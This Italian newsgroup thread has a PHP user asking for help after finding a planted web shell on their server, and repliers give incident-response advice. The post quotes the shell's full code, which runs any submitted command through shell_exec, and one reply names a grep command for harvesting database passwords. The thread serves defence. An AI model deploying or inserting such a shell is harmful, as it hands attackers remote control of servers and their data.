Newsgroup: it.comp.www.php
Titolo: Un aiuto veramente Importante Please! (Sicurezza)

Salve ragazzi,
pur cimentandomi con php etc. non sono molto esperto.
Mi è capitato un fatto che vorrei sottoporre alla vostra attenzione.
Utilizzo Php 5.0.3 con Mysql 4.1.10 e phpmyadmin 2.2.1  o (2.5.1)e 
apache 2.0.53 Su Windows Xp PRO SP1.
Era un mesetto che non rimettevo mano a vari script db etc.
Aprendo phpmyadmin mi sono accorto di una cosa stranissima:
C'era un Db chiamato "remoteshell" che conteneva una tabella di nome 
"temptab".
All'interno di tale tabella ho potuto scorgere un codice che vi riporto:
<? $cmd = $_REQUEST["-cmd"]; ?><html><head><title>cmd.php< 
itle><head><body bgcolor=#000000 text=#ffffff 
onLoad="document.forms[0].elements[-cmd].focus()"><form 
method=POST><br><input type=TEXT name="-cmd" size=64 value="<?=$cmd?>" 
style="background:#000000;color:#ffffff;"><hr><pre><? if($cmd != "") 
print Shell_Exec($cmd); ?><pre><form>< ody><html>
Ora, ho provato qualche script qua e la, stavo anche facendo qualche 
piccola prova per interfacciare un piccolo sito web per i pagamenti 
online (vedi Bancasella), ma non mi ricordo di aver mai visto tale Db e 
non riesco a capire la funzione del codice inserito in tabella.
E' possibile che sia stato bucato?
Se si è consigliabile formattare all'istante??
Qualcuno comprende almeno a grandi lineee cosa fa quel codice??
E' possibile che sia un INNOQUO rimasuglio di qualche vecchio script o 
applicazione php provata, cancellata di cui è rimasto il Db??
Sinceramente sono un po in allarme e avrei davvero bisogno di un vostro 
aiuto e/o consiglio.
Vi ringrazio infinitamente tuttti.
Saluti
T.

 aiuto e/o consiglio.
Intanto metti offline il tutto, poi analizza un po' i log di sistema (ci
sonop anche su XP, vero?)
-- 
dorje
-- 
Posted via Mailgate.ORG Server - 
http://www.Mailgate.ORG

 apache 2.0.53 Su Windows Xp PRO SP1.
Sei asposto a rischi oppure hai Antivirus e Firewall ?
Lavori in rete con altre persone ?

 non riesco a capire la funzione del codice inserito in tabella.
Occhio agli script trovati qua e la !

dreamJoey ha scritto:

ho trovato inoltre nella cartella principale anche il file shel.php che 
riporta lo stesso codice postato in precedenza.
Inizio a farmi la croce.
Vorrei però che qualcuno mi dicesse questo per cortesia premettendo che:
Uso Norton Antivirus 2005
Uso un router ed ho un altro pc in rete che non uso però ne per php ne 
per lavorarci
Il tutto è gestito da un router.
*** E' possibile che abbiano mie password per accessi a siti, ed insomma 
INFORMAZIONI SENSIBILI ??? ***
Vi Ringrazio Ancora un casino.
Saluti

 Vi Ringrazio Ancora un casino.
Se hanno potuto, e credo di si, impersonare l'utente di Apache 
potrebbero avere tutto...del tuo PC.
Controlla, come ti è stato suggerito, i log degli accessi di Apache e 
vedi che tipi di get sono stati fatti. Purtroppo dato che il metodo del 
form è impostato su POST dubito tu possa risalire ai comandi immessi 
all'interno e quindi a cosa ha fatto l'intruso.
Facci sapere!
-- 
Gibe si è fatto passare perchè Rossi dietro è come una purga, prima o 
poi una cagata te la fa fare...!

 INFORMAZIONI SENSIBILI ??? ***
Penso proprio di si. Non so se in XP con quel codice puoi addirittura
andare a vedere tutto il filesystem (non ti resta che provare), ma
anche se quel codice fosse eseguito su un server linux sarebbe grave:
il cracker in questione può visualizzare tutti i file php e analizzare
i sorgenti. Immagina cosa possa fare un eventuale:
grep -r db_pass *
A quel punto uno può addirittura fare un dump totale del tuo db e
portarselo via per leggerlo con comodo...


 l'unica soluzione?
E' indifferente che si tratti di linux, windows, unix, macOs o $ANY_OS.
E' stato bucato, tutte le informazioni a cui accede *potrebbero* essere 
compromesse, e non c'e' analisi che tenga.
L'unica soluzione saggia in questo caso e':
1)Staccare *immediatamente la macchina dalla rete
2)Immagine del disco per stabilire con calma dove,come,quando ti hanno 
bucato
3)Formattare e reinstallare, ripristinando i dati da un backup che sia 
indubbiamente *sicuro*
4)Non commettere gli errori rilevati al punto 2
-- 
Mi arrivano giornalmente almeno 20 messaggi
che tentano di vendermi prodotti per ingrossare il pene.
Come referenze sono ottime: mi hanno gia' fatto 2 palle cosi'!
http://www.neodigital2k.com

dorje ha scritto:

No, mi riferisco ad eccessi che io faccio come normale surfer a siti che 
richiedono autenticazione,
in sostanza se hanno miei dati come psw di mail etc. etc. etc.

 in sostanza se hanno miei dati come psw di mail etc. etc. etc.
Non tanto semplice da attuare ma potenzialmente molto probabile (una
volta che sei bucato, tutto ciò che si trova sulla macchina è
a rischio).
Ti conviene cambiare tutte la pwd che usi al più presto, comunque ti
consiglio nuovamente di analizzare i log di sistema, magari scopri
qualcosa...
